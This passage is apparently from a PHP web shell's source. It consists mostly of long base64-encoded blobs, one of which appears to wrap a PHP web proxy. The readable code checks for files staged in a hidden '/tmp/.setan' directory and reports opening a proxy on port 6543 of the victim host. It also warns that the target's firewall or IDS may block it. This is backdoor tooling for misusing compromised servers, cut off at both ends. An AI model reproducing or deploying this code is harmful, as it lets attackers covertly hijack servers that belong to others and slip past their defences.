3WDJGeWNtRjVXekpkTENSeVpXZGxlSEJmWVhKeVlYbGJNMTBzSkhSb1pYWmhjaWs3RFFvSlpXeHpaV2xtS0NSeVpXZGxlSEJmWVhKeVlYbGJNRjA5UFRJcGV3MEtDUWtrWVdSa2NISnZlSGs5S0dsemMyVjBLQ1J5WldkbGVIQmZZWEp5WVhsYk5GMHBQeVJ5WldkbGVIQmZZWEp5WVhsYk5GMDZkSEoxWlNrN0RRb0pDU1JtY21GdGFXWjVQU2hwYzNObGRDZ2tjbVZuWlhod1gyRnljbUY1V3pWZEtUOGtjbVZuWlhod1gyRnljbUY1V3pWZE9tWmhiSE5sS1RzTkNna0pKRzVsZDNaaGNqMXdZWEp6WlY5b2RHMXNLQ1J5WldkbGVIQmZZWEp5WVhsYk1sMHNKSEpsWjJWNGNGOWhjbkpoZVZzelhTd2tkR2hsZG1GeUxDUmhaR1J3Y205NGVTd2tabkpoYldsbWVTazdEUW9KZlEwS0NYSmxkSFZ5YmlBa2JtVjNkbUZ5T3cwS2ZRMEtEUXBtZFc1amRHbHZiaUJ3WVhKelpWOWhiR3hmYUhSdGJDZ2thSFJ0YkNsN0RRb0paMnh2WW1Gc0lDUnlaV2RsZUhCZllYSnlZWGx6T3cwS0RRb0phV1lvUTA5T1ZFVk9WRjlVV1ZCRklUMG5kR1Y0ZEM5b2RHMXNKeWw3RFFvSkNXWnZjaWh5WlhObGRDZ2tjbVZuWlhod1gyRnljbUY1Y3lrN2JHbHpkQ2drYTJWNUxDUmhjbklwUFdWaFkyZ29KSEpsWjJWNGNGOWhjbkpoZVhNcE95bDdEUW9KQ1FscFppZ2thMlY1UFQxRFQwNVVSVTVVWDFSWlVFVXBldzBLQ1FrSkNXWnZjbVZoWTJnb0pHRnljaUJoY3lBa2NtVm5ZWEp5S1hzTkNna0pDUWtKYVdZb0pISmxaMkZ5Y2owOWJuVnNiQ2tnWTI5dWRHbHVkV1U3RFFvSkNRa0pDU1JvZEcxc1BYSmxaM1ZzWVhKZlpYaHdjbVZ6Y3lna2NtVm5ZWEp5TENSb2RHMXNLVHNOQ2drSkNRbDlEUW9KQ1FsOURRb0pDWDBOQ2drSmNtVjBkWEp1SUNSb2RHMXNPdzBLQ1gwTkNnMEtDU05wWmlnaFpXMXdkSGtvSkY5RFQwOUxTVVZiUTA5UFMxOVFVa1ZHTGlkZmNtVnRiM1psWDNOamNtbHdkSE1uWFNrcElDUnpjR3hwZEdGeWNqMWhjbkpoZVNna2FIUnRiQ2s3RFFvSkpITndiR2wwWVhKeVBYQnlaV2RmYzNCc2FYUW9KeThvUENFdExTZy9JVnhiYVdZcExpby9MUzArZkR4emRIbHNaUzRxUHp4Y0wzTjBlV3hsUG53OGMyTnlhWEIwTGlvL1BGd3ZjMk55YVhCMFBpa3ZhWE1uTENSb2RHMXNMQzB4TEZCU1JVZGZVMUJNU1ZSZlJFVk1TVTFmUTBGUVZGVlNSU2s3RFFvSmRXNXpaWFFvSkdoMGJXd3BPdzBLRFFvSkx5OWtaV1pwYm1Vb0oxSkZSMFZZVUY5VFExSkpVRlJmVDA1RlZrVk9WQ2NzSnlnZ2IyNWJZUzE2WFhzekxESXdmVDBvUHpvaUtEODZXMTRpWFNzcElueGNKeWcvT2x0ZVhDZGRLeWxjSjN4YlhpSmNKeUErWFZ0ZUlENWRLMXRlSWx3bklENWRLU2tuS1RzTkNna2tabWx5YzNSeWRXNDlkSEoxWlRzTkNna2tabWx5YzNScWMzSjFiajEwY25WbE93MEtDV1p2Y2loeVpYTmxkQ2drY21WblpYaHdYMkZ5Y21GNWN5azdiR2x6ZENna2EyVjVMQ1JoY25JcFBXVmhZMmdvSkhKbFoyVjRjRjloY25KaGVYTXBPeWw3RFFvSkNXbG1LQ1JyWlhrOVBTZDBaWGgwTDJwaGRtRnpZM0pwY0hRbktTQmpiMjUwYVc1MVpUc05DZzBLQ1Frdkx5QlBVRlJKVDA0eE9pQjFjMlVnVDA1TVdTQnBaaUJ1YnlCS1lYWmhjMk55YVhCMElGSkZSMFZZVUZNZ1lXWm1aV04wSUVoVVRVd2djMlZqZEdsdmJuTU5DZ2tKTHk4Z1lXNWtJR0ZzYkNCSVZFMU1JRzF2WkdsbWVXbHVaeUJLWVhaaGMyTnlhWEIwSUZKRlIwVllVRk1nWVhKbElIQmxjbVp2Y20xbFpDQmhablJsY2lCSVZFMU1JSEpsWjJWNGNITU5DZ2tKTHk4Z1ZHaHBjeUJuYVhabGN5QmhJSEJ5WlhSMGVTQnphV2R1YVdacFkyRnVkQ0J6Y0dWbFpDQmliMjl6ZEEwS0NRa3ZMeUJKWmlCMWMyVmtMQ0J0WVd0bElITjFjbVVnSWs5UVZFbFBUaklpSUd4cGJtVnpJR0Z5WlNCamIyMXRaVzUwWldRc0lHRnVaQ0J2ZEdobGNpQWlUMUJVU1U5T01TSWdiR2x1WlhNZ1FWSkZUaWRVRFFvSkNXbG1LQ1JtYVhKemRHcHpjblZ1SUNZbUlDUnJaWGs5UFNkaGNIQnNhV05oZEdsdmJpOTRMV3BoZG1GelkzSnBjSFFuS1hzTkNna0pDV2xtS0NGbGJYQjBlU2drWDBOUFQwdEpSVnREVDA5TFgxQlNSVVl1SjE5eVpXMXZkbVZmYzJOeWFYQjBjeWRkS1NrZ1luSmxZV3M3RFFvSkNRa2tjM0JzYVhSaGNuSXlQV0Z5Y21GNUtDazdEUW9KQ1FsbWIzSW9KR2s5TURza2FUeGpiM1Z1ZENna2MzQnNhWFJoY25JcE95UnBLejB5S1hzTkNna0pDUWtrYzNCc2FYUmhjbkl5V3lScFhUMXdjbVZuWDNOd2JHbDBLQ2N2Snk1U1JVZEZXRkJmVTBOU1NWQlVYMDlPUlZaRlRsUXVKeTlwY3ljc0pITndiR2wwWVhKeVd5UnBYU3d0TVN4UVVrVkhYMU5RVEVsVVgwUkZURWxOWDBOQlVGUlZVa1VwT3cwS0NRa0pmUTBLQ1FsOURRb0pDUzh2SUVWT1JDQlBVRlJKVDA0eERRb05DZ2tKSXlCbWFYSnpkSEoxYmlCeVpXMXZkbVVnYzJOeWFYQjBjem9nYjI0OFpYWmxiblErY3lCaGJtUWdibTl6WTNKcGNIUWdkR0ZuY3pzZ1lXeHpieUJ5WlcxdmRtVWdiMkpxWldOMGN3MEtDUWxwWmlna1ptbHljM1J5ZFc0Z0ppWWdLQ0ZsYlhCMGVTZ2tYME5QVDB0SlJWdERUMDlMWDFCU1JVWXVKMTl5WlcxdmRtVmZjMk55YVhCMGN5ZGRLU0I4ZkNBaFpXMXdkSGtvSkY5RFQwOUxTVVZiUTA5UFMxOVFVa1ZHTGlkZmNtVnRiM1psWDI5aWFtVmpkSE1uWFNrcEtYc05DZ2tKQ1dadmNpZ2thVDB3T3lScFBHTnZkVzUwS0NSemNHeHBkR0Z5Y2lrN0pHa3JQVElwZXcwS0NRa0pDV2xtS0NGbGJYQjBlU2drWDBOUFQwdEpSVnREVDA5TFgxQlNSVVl1SjE5eVpXMXZkbVZmYzJOeWFYQjBjeWRkS1NrTkNna0pDUWtKSkhOd2JHbDBZWEp5V3lScFhUMXdjbVZuWDNKbGNHeGhZMlVvSnk4b1B6b25MbEpGUjBWWVVGOVRRMUpKVUZSZlQwNUZWa1ZPVkM0bmZEd3VQMjV2YzJOeWFYQjBQaWt2YVhNbkxHNTFiR3dzSkhOd2JHbDBZWEp5V3lScFhTazdEUW9KQ1FrSmFXWW9JV1Z0Y0hSNUtDUmZRMDlQUzBsRlcwTlBUMHRmVUZKRlJpNG5YM0psYlc5MlpWOXZZbXBsWTNSekoxMHBLUTBLQ1FrSkNRa2tjM0JzYVhSaGNuSmJKR2xkUFhCeVpXZGZjbVZ3YkdGalpTZ25MendvWlcxaVpXUjhiMkpxWldOMEtTNHFQenhjTDF3eFBpOXBjeWNzYm5Wc2JDd2tjM0JzYVhSaGNuSmJKR2xkS1RzTkNna0pDWDBOQ2drSmZRMEtEUW9KQ1dadmNtVmhZMmdvSkdGeWNpQmhjeUFrY21WblpYaHdYMkZ5Y21GNUtYc05DZ2tKQ1dsbUtDUnlaV2RsZUhCZllYSnlZWGs5UFc1MWJHd3BJR052Ym5ScGJuVmxPdzBLQ1FrSlptOXlLQ1JwUFRBN0pHazhZMjkxYm5Rb0pITndiR2wwWVhKeUtUc2thU3NyS1hzTkNnMEtDUWtKQ1NNZ2NHRnljMlVnYzJOeWFYQjBjeUJtYjNJZ2IyNDhaWFpsYm5RK2N3MEtDUWtKQ1dsbUtDUnBKVEk5UFRBZ0ppWWdhWE56WlhRb0pITndiR2wwWVhKeU1pa2dKaVlnSkhKbFoyVjRjRjloY25KaGVWc3hYVDA5TWlsN0lDOHZJRTlRVkVsUFRqRU5DZzBLQ1FrSkNTOHZJRTlRVkVsUFRqSU5DZ2tKQ1FrdkwybG1LQ1J5WldkbGVIQmZZWEp5WVhsYk1WMDlQVElnSmlZZ0pHa2xNajA5TUNsN0lDOHZJRTlRVkVsUFRqSU5DZ2tKQ1FrSkx5OGtjM0JzYVhSaGNuSXlXeVJwWFQxd2NtVm5YM053YkdsMEtDY3ZLQ0J2Ymx0aExYcGRlek1zTWpCOVBTZy9PaUlvUHpwYlhpSmRLeWtpZkZ3bktEODZXMTVjSjEwcktWd25mRnRlSWx3bklENWRXMTRnUGwwclcxNGlYQ2NnUGwwcEtTOXBjeWNzSkhOd2JHbDBZWEp5V3lScFhTd3RNU3hRVWtWSFgxTlFURWxVWDBSRlRFbE5YME5CVUZSVlVrVXBPdzBLQ1FrSkNRa3ZMeUJGVGtRZ1QxQlVTVTlPTWcwS0RRb0pDUWtKQ1M4dmFXWW9ZMjkxYm5Rb0pITndiR2wwWVhKeU1sc2thVjBwUERJcElDUnpjR3hwZEdGeWNsc2thVjA5Y21WbmRXeGhjbDlsZUhCeVpYTnpLQ1J5WldkbGVIQmZZWEp5WVhrc0pITndiR2wwWVhKeVd5UnBYU2s3SUM4dklGVk9Va1ZNUVZSRlJDQlVUeUJQVUZSSlQwNVREUW9KQ1FrSkNXbG1LR052ZFc1MEtDUnpjR3hwZEdGeWNqSmJKR2xkS1Q0eEtYc05DZ2tKQ1FrSkNXWnZjaWdrYWoweE95UnFQR052ZFc1MEtDUnpjR3hwZEdGeWNqSmJKR2xkS1Rza2FpczlNaWw3RFFvSkNRa0pDUWtKSkdKbFoybHVQWEJ5WldkZmNtVndiR0ZqWlNnbkwxNG9XMTQ5WFNzOUxpa3VLaVF2YVNjc0oxd3hKeXdrYzNCc2FYUmhjbkl5V3lScFhWc2thbDBwT3cwS0NRa0pDUWtKQ1NSeGRXOTBaVDF6ZFdKemRISW9KR0psWjJsdUxDMHhLVHNOQ2drSkNRa0pDUWxwWmlna2NYVnZkR1VoUFNjaUp5QW1KaUFrY1hWdmRHVWhQU2RjSnljcGV3MEtDUWtKQ1FrSkNRa2tjWFZ2ZEdVOWJuVnNiRHNOQ2drSkNRa0pDUWtKSkdKbFoybHVQWE4xWW5OMGNpZ2tZbVZuYVc0c01Dd3RNU2s3RFFvSkNRa0pDUWtKZlEwS0NRa0pDUWtKQ1NSamIyUmxQWEJ5WldkZmNtVndiR0ZqWlNnbkwxNWJYajFkS3owbkxpZ2tjWFZ2ZEdVOVBXNTFiR3cvSnlndUtpa2tMMmtuT2ljdUtDNHFLUzRrTDJrbktTd25YREVuTENSemNHeHBkR0Z5Y2pKYkpHbGRXeVJxWFNrN0RRb0pDUWtKQ1FrSmFXWW9jM1ZpYzNSeUtDUmpiMlJsTERBc01URXBQVDBuYW1GMllYTmpjbWx3ZERvbktYc05DZ2tKQ1FrSkNRa0pKR0psWjJsdUxqMG5hbUYyWVhOamNtbHdkRG9uT3cwS0NRa0pDUWtKQ1Fra1kyOWtaVDF6ZFdKemRISW9KR052WkdVc01URXBPdzBLQ1FrSkNRa0pDWDBOQ2drSkNRa0pDUWxwWmlna1ptbHljM1JxYzNKMWJpa2dKR052WkdVOUlqdDdKR052WkdWOU95STdEUW9KQ1FrSkNRa0pKSE53YkdsMFlYSnlNbHNrYVYxYkpHcGRQU1JpWldkcGJpNXlaV2QxYkdGeVgyVjRjSEpsYzNNb0pISmxaMlY0Y0Y5aGNuSmhlU3drWTI5a1pTa3VKSEYxYjNSbE93MEtDUWtKQ1FrSmZRMEtDUWtKQ1FrSkx5OGtjM0JzYVhSaGNuSmJKR2xkUFdsdGNHeHZaR1VvYm5Wc2JDd2tjM0JzYVhSaGNuSXlXeVJwWFNrN0lDOHZJRTlRVkVsUFRqSU5DZ2tKQ1FrSmZRMEtDUWtKQ1gwTkNnMEtDUWtKQ1NNZ2NtVnRiM1psSUhOamNtbHdkSE1OQ2drSkNRbGxiSE5sYVdZb0pHWnBjbk4wY25WdUlDWW1JQ0ZsYlhCMGVTZ2tYME5QVDB0SlJWdERUMDlMWDFCU1JVWXVKMTl5WlcxdmRtVmZjMk55YVhCMGN5ZGRLU0FtSmlCemRISjBiMnh2ZDJWeUtITjFZbk4wY2lna2MzQnNhWFJoY25KYkpHbGRMREFzTnlrcFBUMG5QSE5qY21sd2RDY3BEUW9KQ1FrSkNTUnpjR3hwZEdGeWNsc2thVjA5Ym5Wc2JEc05DZzBLQ1FrSkNTTWdjR0Z5YzJVZ2RtRnNhV1FnYzNSMVptWU5DZ2tKQ1FsbGJITmxhV1lvS0NScEpUSTlQVEFnSmlZZ0pISmxaMlY0Y0Y5aGNuSmhlVnN4WFQwOU1Ta2dmSHdnS0NSeVpXZGxlSEJmWVhKeVlYbGJNVjA5UFRJZ0ppWWdjM1J5ZEc5c2IzZGxjaWh6ZFdKemRISW9KSE53YkdsMFlYSnlXeVJwWFN3d0xEY3BLVDA5Snp4elkzSnBjSFFuS1NCOGZDQW9KR3RsZVQwOUozUmxlSFF2WTNOekp5QW1KaUJ6ZEhKMGIyeHZkMlZ5S0hOMVluTjBjaWdrYzNCc2FYUmhjbkpiSkdsZExEQXNOaWtwUFQwblBITjBlV3hsSnlrcGV3MEtDUWtKQ1Fra2MzQnNhWFJoY25KYkpHbGRQWEpsWjNWc1lYSmZaWGh3Y21WemN5Z2tjbVZuWlhod1gyRnljbUY1TENSemNHeHBkR0Z5Y2xza2FWMHBPdzBLQ1FrSkNYME5DZzBLQ1FrSkNTTWdjMk55YVhCMElIQjFjbWRsSUdOc1pXRnVkWEFOQ2drSkNRbHBaaWdrWm1seWMzUnlkVzRnSmlZZ1pXMXdkSGtvSkY5RFQwOUxTVVZiUTA5UFMxOVFVa1ZHTGlkZmNtVnRiM1psWDNOamNtbHdkSE1uWFNrZ0ppWWdjM1J5ZEc5c2IzZGxjaWh6ZFdKemRISW9KSE53YkdsMFlYSnlXeVJwWFN3dE9Ta3BQVDBuUEM5elkzSnBjSFErSnlBbUppQWhjSEpsWjE5dFlYUmphQ2duTDE1YlhqNWRLbk55WXk5cEp5d2tjM0JzYVhSaGNuSmJKR2xkS1NsN0RRb0pDUWtKQ1NSemNHeHBkR0Z5Y2xza2FWMDljSEpsWjE5eVpYQnNZV05sS0Njdkp5NUZUa1JmVDBaZlUwTlNTVkJVWDFSQlJ5NG5KQzlwSnl3bk95Y3VRMDlQUzE5UVVrVkdMaWN1Y0hWeVoyVW9LVHN2THkwdFBqd3ZjMk55YVhCMFBpY3NKSE53YkdsMFlYSnlXeVJwWFNrN0RRb0pDUWtKZlEwS0RRb0pDUWw5RFFvTkNna0pDU1JtYVhKemRISjFiajFtWVd4elpUc05DZ2tKQ1dsbUtDUm1hWEp6ZEdwemNuVnVJQ1ltSUNSclpYazlQU2RoY0hCc2FXTmhkR2x2Ymk5NExXcGhkbUZ6WTNKcGNIUW5LUTBLQ1FrSkNTUm1hWEp6ZEdwemNuVnVQV1poYkhObE93MEtDUWw5RFFvSmZRMEtEUW9KTHk4Z1QxQlVTVTlPTVEwS0RRb0phV1lvWlcxd2RIa29KRjlEVDA5TFNVVmJRMDlQUzE5UVVrVkdMaWRmY21WdGIzWmxYM05qY21sd2RITW5YU2twZXcwS0NRbG1iM0lvSkdrOU1Ec2thVHhqYjNWdWRDZ2tjM0JzYVhSaGNuSXBPeVJwS3oweUtYc05DZ2tKQ1NSemNHeHBkR0Z5Y2xza2FWMDlhVzF3Ykc5a1pTaHVkV3hzTENSemNHeHBkR0Z5Y2pKYkpHbGRLVHNOQ2drSmZRMEtDWDBOQ2drdkx5QkZUa1FnVDFCVVNVOU9NUTBLRFFvSmNtVjBkWEp1SUdsdGNHeHZaR1VvYm5Wc2JDd2tjM0JzYVhSaGNuSXBPdzBLZlEwS0RRb2pJSDE5ZlEwS0RRb3ZMeVJ6ZEdGeWRIUnBiV1U5YldsamNtOTBhVzFsS0hSeWRXVXBPeUFqSUVKRlRrTklUVUZTU3cwS0pHSnZaSGs5Y0dGeWMyVmZZV3hzWDJoMGJXd29KR0p2WkhrcE93MEtMeThrY0dGeWMyVjBhVzFsUFcxcFkzSnZkR2x0WlNoMGNuVmxLUzBrYzNSaGNuUjBhVzFsT3lBaklFSkZUa05JVFVGU1N3MEtEUW9qSUZCU1QxaFpJRVZZUlVOVlZFbFBUam9nVUVGSFJTQlFRVkpUU1U1SE9pQlFVazlZV1NCSVJVRkVSVkpUTDBwQlZrRlRRMUpKVUZRZ2UzdDdEUW9OQ21sbUtFTlBUbFJGVGxSZlZGbFFSVDA5SjNSbGVIUXZhSFJ0YkNjcGV3MEtDU1JpYVdkZmFHVmhaR1Z5Y3owblBHMWxkR0VnYm1GdFpUMGljbTlpYjNSeklpQmpiMjUwWlc1MFBTSnViMmx1WkdWNExDQnViMlp2Ykd4dmR5SWdMejRuTGcwS0NRa0pLRkJCUjBWVVdWQkZYMGxFUFQwOVVFRkhSVlJaVUVWZlJsSkJUVVZFWDFCQlIwVS9KenhpWVhObElIUmhjbWRsZEQwaVgzUnZjQ0krSnpwdWRXeHNLUzROQ2drSkNTYzhiR2x1YXlCeVpXdzlJbk5vYjNKMFkzVjBJR2xqYjI0aUlHaHlaV1k5SWljdWMzVnljbTluWVdaNVgzVnliQ2drWTNWeWNsOTFjbXh2WW1vdFBtZGxkRjl3Y205MGJ5Z3BMaWM2THk4bkxpUmpkWEp5WDNWeWJHOWlhaTArWjJWMFgzTmxjblpsY201aGJXVW9LUzRuTDJaaGRtbGpiMjR1YVdOdkp5a3VKeUlnTHo0bkxnMEtDUWtKS0dWdGNIUjVLQ1JmUTA5UFMwbEZXME5QVDB0ZlVGSkZSaTRuWDNKbGJXOTJaVjl6WTNKcGNIUnpKMTBwUHcwS0NRa0pDU2M4YzJOeWFYQjBJSFI1Y0dVOUluUmxlSFF2YW1GMllYTmpjbWx3ZENJZ2MzSmpQU0luTGxSSVNWTmZVME5TU1ZCVUxpYy9hbk5mWm5WdVkzTW5MaWhRUVVkRlgwWlNRVTFGUkQ4blgyWnlZVzFsWkNjNmJuVnNiQ2t1SnlJK1BDOXpZM0pwY0hRK0p5NE5DZ2tKQ1FrblBITmpjbWx3ZENCMGVYQmxQU0owWlhoMEwycGhkbUZ6WTNKcGNIUWlJSE55WXowaUp5NVVTRWxUWDFORFVrbFFWQzRuUDJwelgzSmxaMlY0Y0hNbkxpaFFRVWRGWDBaU1FVMUZSRDhuWDJaeVlXMWxaQ2M2Ym5Wc2JDa3VKeUkrUEM5elkzSnBjSFErSnk0TkNna0pDUWtuUEhOamNtbHdkQ0JzWVc1bmRXRm5aVDBpYW1GMllYTmpjbWx3ZENJK0p5NE5DZ2tKQ1Frdkx5YzhJUzB0Snk0TkNna0pDUWxEVDA5TFgxQlNSVVl1Snk1RVQwTlZUVVZPVkY5U1JVWkZVa1ZTUFNJbkxpaFZVa3hmUms5U1RUOXpkSEpmY21Wd2JHRmpaU2duSWljc0oxeGNJaWNzSkhKbFptVnlaWElwT201MWJHd3BMaWNpT3ljdURRb0pDUWtKUTA5UFMxOVFVa1ZHTGljdVExVlNVbDlWVWt3OUlpY3VjM1J5WDNKbGNHeGhZMlVvSnlJbkxDZGNYQ0luTENSamRYSnlYM1Z5Ykc5aWFpMCtaMlYwWDNWeWJDZ3BLUzRuSWl0c2IyTmhkR2x2Ymk1b1lYTm9PeWN1UTA5UFMxOVFVa1ZHTGljdVoyVnVYMk4xY25KZmRYSnNiMkpxS0NrN0p5NE5DZ2tKQ1FsRFQwOUxYMUJTUlVZdUp5NU1UME5CVkVsUFRsOVRSVUZTUTBnOUlpY3VLQ1JqZFhKeVgzVnliRzlpYWkwK1oyVjBYM0YxWlhKNUtDa2hQVzUxYkd3L0p6OG5Mbk4wY2w5eVpYQnNZV05sS0NjaUp5d25YRndpSnl3a1kzVnljbDkxY214dlltb3RQbWRsZEY5eGRXVnllU2dwS1RwdWRXeHNLUzRuSWpzbkxnMEtDUWtKQ1VOUFQwdGZVRkpGUmk0bkxreFBRMEZVU1U5T1gwaFBVMVJPUVUxRlBTSW5Mbk4wY2w5eVpYQnNZV05sS0NjaUp5d25YRndpSnl3a1kzVnljbDkxY214dlltb3RQbWRsZEY5elpYSjJaWEp1WVcxbEtDa3BMaWNpT3ljdURRb0pDUWtKUTA5UFMxOVFVa1ZHTGljdVRFOURRVlJKVDA1ZlVFOVNWRDBpSnk1emRISmZjbVZ3YkdGalpTZ25JaWNzSjF4Y0lpY3NKR04xY25KZmRYSnNiMkpxTFQ1blpYUmZjRzl5ZEhaaGJDZ3BLUzRuSWpzbkxnMEtDUWtKQ1VOUFQwdGZVRkpGUmk0bkxrVk9RMUpaVUZSZlZWSk1VejBuTG1KdmIyeGZkRzlmYW5Nb1JVNURVbGxRVkY5VlVreFRLUzRuT3ljdURRb0pDUWtKUTA5UFMxOVFVa1ZHTGljdVJVNURVbGxRVkY5RFQwOUxVejBuTG1KdmIyeGZkRzlmYW5Nb1JVNURVbGxRVkY5RFQwOUxVeWt1SnpzbkxnMEtDUWtKQ1VOUFQwdGZVRkpGUmk0bkxsVlNURjlHVDFKTlBTY3VZbTl2YkY5MGIxOXFjeWhWVWt4ZlJrOVNUU2t1SnpzbkxnMEtDUWtKQ1VOUFQwdGZVRkpGUmk0bkxsQkJSMFZmUmxKQlRVVkVQU2N1WW05dmJGOTBiMTlxY3loUVFVZEZYMFpTUVUxRlJDa3VKenNuTGcwS0NRa0pDVU5QVDB0ZlVGSkZSaTRpTGxWVFJWSkJSMFZPVkQxY0luc2tkWE5sY21GblpXNTBmVndpT3lJdURRb0pDUWtKS0ZWU1RGOUdUMUpOSUNZbUlGQkJSMFZVV1ZCRlgwbEVQVDFRUVVkRlZGbFFSVjlHVWtGTlJVUmZVRUZIUlQ4bmFXWW9KeTVEVDA5TFgxQlNSVVl1Snk1MGFHVndZWEpsYm5ROVBTY3VRMDlQUzE5UVVrVkdMaWN1ZEdobGRHOXdLU0FuTGcwS0NRa0pDUWxEVDA5TFgxQlNSVVl1Snk1bGRtVnVkR2xtZVNnaUp5NGtZM1Z5Y2w5MWNteHZZbW90UG1kbGRGOXdjbTkwYnlncExpY2lMQ0luTGlSamRYSnlYM1Z5Ykc5aWFpMCtaMlYwWDNObGNuWmxjbTVoYldVb0tTNG5JaWs3SncwS0NRa0pDVHB1ZFd4c0tTNE5DZ2tKQ1Frdkx5Y3ZMeTB0UGljdURRb0pDUWtKSnp3dmMyTnlhWEIwUGljTkNna0pDVHB1ZFd4c0tRMEtDVHNOQ2cwS0NTUmliMlI1UFhCeVpXZGZjbVZ3YkdGalpTZ25MeWcvT2lnOEtEODZhR1ZoWkh4aWIyUjVLVnRlUGwwcVBpbDhLRHdvUHpwY0wyaGxZV1I4YldWMFlYeHNhVzVyZkhOamNtbHdkQ2twS1M5cEp5d2lYRnd4SkdKcFoxOW9aV0ZrWlhKelhGd3lJaXdrWW05a2VTd3hLVHNOQ2dsMWJuTmxkQ2drWW1sblgyaGxZV1JsY25NcE93MEtmUTBLWld4elpXbG1LRU5QVGxSRlRsUmZWRmxRUlQwOUoyRndjR3hwWTJGMGFXOXVMM2d0YW1GMllYTmpjbWx3ZENjZ2ZId2dRMDlPVkVWT1ZGOVVXVkJGUFQwbmRHVjRkQzlxWVhaaGMyTnlhWEIwSnlrZ0pHSnZaSGt1UFNjN0p5NURUMDlMWDFCU1JVWXVKeTV3ZFhKblpTZ3BPeWM3RFFvTkNpTWdmWDE5RFFvTkNpTWdmWDE5RFFvTkNpTWpJRkpsZEhKcFpYWmxaQ3dnVUdGeWMyVmtMQ0JCYkd3Z1VtVmhaSGtnZEc4Z1QzVjBjSFYwSUNNakRRcGxZMmh2SUNSaWIyUjVPdzBLTHk5bFkyaHZJQ2QwYjNSaGJDQjBhVzFsT2lBbkxpaHRhV055YjNScGJXVW9kSEoxWlNrdEpIUnZkSE4wWVhKMGRHbHRaU2t1SWp4aWNpQXZQbkJoY25ObElIUnBiV1U2SUhza2NHRnljMlYwYVcxbGZTQnpaV052Ym1SeklpNG9hWE56WlhRb0pHOXdZWEp6WlhScGJXVXBQeUk4WW5JZ0x6NXZkR2hsY2lCMGFXMWxJREU2SUhza2IzQmhjbk5sZEdsdFpYMGdjMlZqYjI1a2N5STZiblZzYkNrdUtHbHpjMlYwS0NSdmNHRnljMlYwYVcxbE1pay9JanhpY2lBdlBtOTBhR1Z5SUhScGJXVWdNam9nZXlSdmNHRnljMlYwYVcxbE1uMGdjMlZqYjI1a2N5STZiblZzYkNrN0lDTWdRa1ZPUTBoTlFWSkxEUW9OQ2lNZ2ZYMTlEUW9OQ21acGJtbHphQ2dwT3cwS0RRb2pJeU1qSXlNakl5TWpJeU1OQ2lNaklGUklSU0JGVGtRZ0l5TU5DaU1qSXlNakl5TWpJeU1qSXlNakRRb2pEUW9qSUZaSlRTQnBjeUIwYUdVZ2FXUmxZV3dnZDJGNUlIUnZJR1ZrYVhRZ2RHaHBjeUJtYVd4bExpQWdRWFYwYjIxaGRHbGpJR1p2YkdScGJtY2diMk5qZFhKeklHMWhhMmx1WnlCMGFHVU5DaU1nWW14dlkydHpJRzltSUdOdlpHVWdaV0Z6YVdWeUlIUnZJSEpsWVdRZ1lXNWtJRzVoZG1sbllYUmxEUW9qSUhacGJUcG1iMnhrYldWMGFHOWtQVzFoY210bGNnMEtJdzBLSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qSUQ4K0RRbz0NCiI7DQoNCmZ1bmN0aW9uIGNoZWNrcHJveHlob3N0KCl7DQokaG9zdCA9IGdldGVudigiSFRUUF9IT1NUIik7DQokZmlsZW5hbWUgPSAnL3RtcC8uc2V0YW4veGgnOw0KaWYgKGZpbGVfZXhpc3RzKCRmaWxlbmFtZSkpIHsNCiRfUE9TVFsncHJveHlob3N0bXNnJ109IjwvYnI+PC9icj48Y2VudGVyPjxmb250IGNvbG9yPWdyZWVuIHNpemU9Mz48Yj5TdWNjZXNzITwvYj48L2ZvbnQ+PC9icj48L2JyPjxhIGhyZWY9JGhvc3Q6NjU0Mz4kaG9zdDo2NTQzPC9hPjwvYnI+PC9icj48Yj5Ob3RlOjwvYj4gSWYgJyRob3N0JyBoYXMgYSBnb29kIGZpcmV3YWxsIG9yIElEUyAgaW5zdGFsbGVkIG9uIHRoZWlyIHNlcnZlciwgaXQgd2lsbCBwcm9iYWJseSBjYXRjaCB0aGlzIG9yIHN0b3AgaXQgZnJvbSBldmVyIG9wZW5pbmcgYSBwb3J0IGFuZCB5b3Ugd29uJ3QgYmUgYWJsZSB0byBjb25uZWN0IHRvIHRoaXMgcHJveHkuPC9icj48L2JyPjwvY2VudGVyPiI7DQp9IGVsc2Ugew0KJF9QT1NUWydwcm94eWhvc3Rtc2cnXT0iPC9icj48L2JyPjxjZW50ZXI+PGZvbnQgY29sb3I9cmVkIHNpemU9Mz48Yj5GYWlsZWQhPC9iPjwvZm9udD48L2JyPjwvYnI+PGI+Tm90ZTo8L2I+IElmIGZvciBzb21lIHJlYXNvbiB3ZSB3b3VsZCBub3QgY3JlYXRlIGFuZCBleHRyYWN0IHRoZSBuZWVkIHByb3h5IGZpbGVzIGluICcvdG1wJyB0aGlzIHdpbGwgbWFrZSB0aGlzIGZhaWwuPC9icj48L2JyPjwvY2VudGVyPiI7DQogfSANCn0NCg0KDQoNCiRwaHBwcm94eT0iDQpQRDl3YUhBTkNnMEtJdzBLSXlCVGRYSnliMmRoWm1sbGNpQjJNUzR3TFhKak13MEtJdzBLSXlCQmRYUm9iM0k2SUVKeVlXUWdRMkZpYkdVTkNpTWdSVzFoYVd3NklHSnlZV1JBWW1OaFlteGxMbTVsZEEwS0l5Qk1hV05sYm5ObE9pQk5iMlJwWm1sbFpDQkNVMFFOQ2lNZ1RHbGpaVzV6WlNCRVpYUmhhV3h6T2cwS0l5Qm9kSFJ3T2k4dlltTmhZbXhsTG01bGRDOXNhV05sYm5ObExuQm9jQTBLSXcwS0RRb05DaU1nUTA5T1JrbEhJSHQ3ZXcwS0RRb2pJRVJsWm1GMWJIUWdkRzhnYzJsdGNHeGxJRzF2WkdVZ2QyaGxiaUIwYUdVZ2NHRm5aU0JwY3lCc2IyRmtaV1F1SUZ0bVlXeHpaVjBOQ21SbFptbHVaU2duUkVWR1FWVk1WRjlUU1UxUVRFVW5MR1poYkhObEtUc05DaU1nUm05eVkyVWdkR2hsSUhCaFoyVWdkRzhnWVd4M1lYbHpJR0psSUdsdUlITnBiWEJzWlNCdGIyUmxJQ2h1YnlCaFpIWmhibU5sWkNCdGIyUmxJRzl3ZEdsdmJpa3VJRnRtWVd4elpWME5DbVJsWm1sdVpTZ25SazlTUTBWZlUwbE5VRXhGSnl4bVlXeHpaU2s3RFFvaklGZHBaSFJvSUdadmNpQjBhR1VnVlZKTUlHSnZlQ0IzYUdWdUlHbHVJSE5wYlhCc1pTQnRiMlJsSUNoRFUxTWdJbmRwWkhSb0lpQmhkSFJ5YVdKMWRHVXBMaUJiTXpBd2NIaGREUXBrWldacGJtVW9KMU5KVFZCTVJWOU5U